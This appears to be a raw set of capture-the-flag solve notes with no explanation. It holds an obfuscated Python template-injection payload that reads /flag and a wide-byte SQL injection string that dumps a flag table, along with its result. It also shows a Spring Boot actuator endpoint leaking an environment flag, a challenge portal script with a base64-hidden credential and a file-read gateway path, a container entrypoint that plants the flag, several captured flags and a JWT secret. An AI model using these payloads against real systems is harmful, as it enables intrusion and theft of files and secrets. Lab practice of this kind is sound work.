<%raise Exception(getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)),chr(114)+chr(101)+chr(97)+chr(100))())%>

flag{5osawx2i-acfr-4us-8jfa-7qyjcumnsg9xu}

%df%27 union select 1,2,3,4,flag from flag_store%23&debug=1

查询结果
id	name	col2	col3	col4
1	2	3	4	flag{bqegz84c-x0vn-4ua-8kzl-6gs0pfp6tvjhp}

{"_links":{"self":{"href":"http://challenge.cyclens.tech:32729/actuator","templated":false},"beans":{"href":"http://challenge.cyclens.tech:32729/actuator/beans","templated":false},"caches":{"href":"http://challenge.cyclens.tech:32729/actuator/caches","templated":false},"caches-cache":{"href":"http://challenge.cyclens.tech:32729/actuator/caches/{cache}","templated":true},"health":{"href":"http://challenge.cyclens.tech:32729/actuator/health","templated":false},"health-path":{"href":"http://challenge.cyclens.tech:32729/actuator/health/{*path}","templated":true},"info":{"href":"http://challenge.cyclens.tech:32729/actuator/info","templated":false},"conditions":{"href":"http://challenge.cyclens.tech:32729/actuator/conditions","templated":false},"configprops":{"href":"http://challenge.cyclens.tech:32729/actuator/configprops","templated":false},"env-toMatch":{"href":"http://challenge.cyclens.tech:32729/actuator/env/{toMatch}","templated":true},"env":{"href":"http://challenge.cyclens.tech:32729/actuator/env","templated":false},"loggers":{"href":"http://challenge.cyclens.tech:32729/actuator/loggers","templated":false},"loggers-name":{"href":"http://challenge.cyclens.tech:32729/actuator/loggers/{name}","templated":true},"heapdump":{"href":"http://challenge.cyclens.tech:32729/actuator/heapdump","templated":false},"threaddump":{"href":"http://challenge.cyclens.tech:32729/actuator/threaddump","templated":false},"metrics-requiredMetricName":{"href":"http://challenge.cyclens.tech:32729/actuator/metrics/{requiredMetricName}","templated":true},"metrics":{"href":"http://challenge.cyclens.tech:32729/actuator/metrics","templated":false},"scheduledtasks":{"href":"http://challenge.cyclens.tech:32729/actuator/scheduledtasks","templated":false},"mappings":{"href":"http://challenge.cyclens.tech:32729/actuator/mappings","templated":false}}}

http://challenge.cyclens.tech:32729/actuator/env/FLAG

{"property":{"source":"systemEnvironment","value":"flag{fukki7lx-udzw-4eu-85sn-fqvz1hbmmcmtt}"},"activeProfiles":[],"propertySources":[{"name":"server.ports"},{"name":"servletConfigInitParams"},{"name":"servletContextInitParams"},{"name":"systemProperties"},{"name":"systemEnvironment","property":{"value":"flag{fukki7lx-udzw-4eu-85sn-fqvz1hbmmcmtt}","origin":"System Environment Property \"FLAG\""}},{"name":"random"},{"name":"applicationConfig: [classpath:/application.yml]"},{"name":"Management Server"}]}

flag{fukki7lx-udzw-4eu-85sn-fqvz1hbmmcmtt}

(function () {
    var bootstrap = {
        release: "2026.03.01-r12",
        region: "cn-sh2",
        auth: {
            mode: "legacy-fallback",
            // researcher:Research#2026
            seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
        },
        fileGateway: {
            path: "/kkfileview/getCorsFile",
            queryKey: "urlPath",
            node: "legacy-parse-02"
        }
    };

    window.NorthbridgePortal = {
        config: bootstrap,
        decodeLegacyCredential: function () {
            try {
                return atob(bootstrap.auth.seed);
            } catch (e) {
                return "";
            }
        }
    };

    var form = document.querySelector("form[data-auth='portal']");
    if (form) {
        form.addEventListener("submit", function () {
            form.classList.add("is-submitting");
        });
    }
})();

fileGateway: {
            path: "/kkfileview/getCorsFile",
            queryKey: "urlPath",
            node: "legacy-parse-02"

#!/bin/sh
set -eu

# Pick dynamic flag from common CTF platforms.
if [ "${DASFLAG:-}" ]; then
    INSERT_FLAG="$DASFLAG"
    export DASFLAG="no_FLAG"
elif [ "${FLAG:-}" ]; then
    INSERT_FLAG="$FLAG"
    export FLAG="no_FLAG"
elif [ "${GZCTF_FLAG:-}" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
    export GZCTF_FLAG="no_FLAG"
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

CACHE_DIR="/opt/kkfileview/cache/parsed"
ZIP_NAME="q1_finance_report_2026.zip"

mkdir -p "$CACHE_DIR"

# Rebuild challenge artifacts on each container start so the flag is dynamic.
printf '%s\n' \
  'cd /opt/kkfileview/bin' \
  './startup.sh --cache.dir=/opt/kkfileview/cache/parsed' \
  'java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true' \
  'cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip' \
  > /root/.bash_history

echo "$INSERT_FLAG" > /tmp/flag.txt
(
    cd /tmp
    rm -f "${CACHE_DIR}/${ZIP_NAME}"
    jar -cf "${CACHE_DIR}/${ZIP_NAME}" flag.txt
)
rm -f /tmp/flag.txt

exec "$@"

flag{lh07yvhc-jbsx-4ku-8svv-gx1nbjxe03zzx}

rMw_2026_litctf_jwt_secret_key!!

flag{doxt45dw-jdtj-4dr-8o8n-s91ivb2yuuvan}